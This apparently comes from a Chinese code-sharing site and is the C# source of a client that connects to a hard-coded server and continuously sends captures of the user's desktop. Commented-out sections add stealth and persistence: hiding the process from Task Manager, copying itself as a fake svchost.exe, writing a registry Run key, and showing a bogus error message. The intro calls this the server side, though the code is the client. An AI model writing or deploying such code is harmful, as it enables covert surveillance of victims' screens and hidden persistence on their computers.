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   源码介绍

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客户端代码中的ip需修改成 服务端的ip

下为服务端：

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Drawing.Imaging;
using System.Threading;
using Ip;
using System.IO;
using Microsoft.Win32;
using System.Diagnostics;
//  源码学习下载www.lvcode.com
//    欢迎分享源码给Love代码
namespace Client
{
    public partial class Client : Form
    {
        public Client()
        {
            InitializeComponent();
        }
        private IPEndPoint ServerInfo;
        private Socket ClientSocket;
        //信息发送存储
        private Byte[] MsgSend;
        private void Client_Load(object sender, EventArgs e)
        {
            MsgSend = new Byte[65535];
            //允许子线程刷新数据
            CheckForIllegalCrossThreadCalls = false;

            //this.Hide();
            //ShowInTaskbar = false;
            //WindowState = FormWindowState.Minimized;


            string pathUrl = System.Windows.Forms.Application.ExecutablePath;//程序完整路径


            //#region 隐藏进程
            //string exeName = pathUrl.Substring(pathUrl.LastIndexOf('\\')   1);
            //HideTaskmgrList list = new HideTaskmgrList();
            //list.ProcessName = exeName;
            //list.Star();
            //#endregion

            //#region 设置开机启动
            //if (File.Exists(pathUrl))
            //{
            //    if (!File.Exists(@"C:\Windows\System\svchost.exe"))
            //    {
            //        File.Copy(pathUrl, @"C:\Windows\System\svchost.exe");
            //        SetAutoRun("Microsoftsvchost", @"C:\Windows\System\svchost.exe");
            //        bool flag = IsAutoRun("Microsoftsvchost");

            //        Process proc = Process.Start(@"C:\Windows\System\svchost.exe");

            //        MessageBox.Show("发生了一个内部系统错误!");
            //        this.Close();
            //        this.Dispose();
            //    }
            //    else
            //    {
            //        Thread t = new Thread(Go);
            //        t.IsBackground = true;
            //        t.Start();
            //    }

            //}
            //#endregion
            Thread t = new Thread(Go);
            t.IsBackground = true;
            t.Start();
        }
        public void Go()
        {
            try
            {
                lock (this)
                {
                    ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    //服务端IP和端口信息设定,这里的IP可以是127.0.0.1，可以是本机局域网IP，也可以是本机网络IP
                    ServerInfo = new IPEndPoint(IPAddress.Parse("192.168.0.88"), Convert.ToInt32(316));
                    ClientSocket.Connect(ServerInfo);//客户端连接服务端指定IP端口，Sockket

                    int REnd = ClientSocket.Receive(MsgSend);    //等待接收服务端发送的指令
                    string msg = Encoding.Unicode.GetString(MsgSend, 0, REnd);
                    if (msg == "Send")
                    {
                        MsgSend = new byte[65535];
                        MsgSend = new Monitor().GetDesktopBitmapBytes();
                        //MsgSend = Encoding.Unicode.GetBytes("图片"   imgIndex);
                        if (ClientSocket.Connected)
                        {
                            //将数据发送到连接的 System.Net.Sockets.Socket。
                            ClientSocket.Send(MsgSend);
                            ClientSocket.BeginSend(MsgSend, 0, MsgSend.Length, SocketFlags.None, new AsyncCallback(ReceiveCallBack), ClientSocket);
                        }
                    }
                }
            }
            catch
            {
                CloseSocket();
                Go();
            }
        }

        protected void ReceiveCallBack(IAsyncResult AR)
        {
            try
            {
                Socket listener = (Socket)AR.AsyncState;
                //将用户登录信息发送至服务器，由此可以让其他客户端获知
                //ClientSocket.Send(Encoding.Unicode.GetBytes("用户： "   IPAddress.Any   " 进入系统！\n"));
                MsgSend = new Monitor().GetDesktopBitmapBytes();
                if (listener.Connected)
                {
                    //将数据发送到连接的 System.Net.Sockets.Socket。
                    //ClientSocket.Send(MsgSend);
                    //AsyncCallback引用在异步操作完成时调用的回调方法
                    listener.BeginSend(MsgSend, 0, MsgSend.Length, SocketFlags.None, new AsyncCallback(ReceiveCallBack), listener);
                }
            }
            catch
            {
                CloseSocket();
                Go();
            }
        }

        protected void CloseSocket()
        {
            if (ClientSocket.Connected)
            {
                //禁用发送和接受
                ClientSocket.Shutdown(SocketShutdown.Both);
                //关闭套接字，不允许重用
                ClientSocket.Disconnect(false);
                ClientSocket.Close();
            }
        }

        private void Client_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (ClientSocket != null)
                ClientSocket.Close();//关闭SOCKET
        }

        #region 开机自动启动
        /// <summary> 
        ///开机自动启动 
        /// </summary> 
        /// <param name="keyName">注册表key.</param> 
        /// <param name="filePath">软件路径</param> 
        /// <returns>返回：Boolean 类型</returns> 
        /// 楼雨：2010-11-22 15:18 
        public static bool SetAutoRun(string keyName, string filePath)
        {
            try
            {
                RegistryKey hkml = Registry.LocalMachine;
                RegistryKey runKey = hkml.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                runKey.SetValue(keyName, filePath);
                runKey.Close();
            }
            catch
            {
                return false;
            }
            return true;
        }
        /// <summary> 
        /// 判断是否已经设置为开机启动 
        /// </summary> 
        /// <param name="keyName">注册表key</param> 
        /// 楼雨：2010-12-1 16:43 
        public bool IsAutoRun(string keyName)
        {
            try
            {
                bool _exit = false;
                RegistryKey hkml = Registry.LocalMachine;
                RegistryKey runKey = hkml.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
                string[] subkeyNames;
                subkeyNames = runKey.GetValueNames();
                foreach (string kName in subkeyNames)
                {
                    if (kName == keyName)
                    {
                        _exit = true;
                        return _exit;
                    }
                } return _exit;
            }
            catch { return false; }
        }
        #endregion
    }
}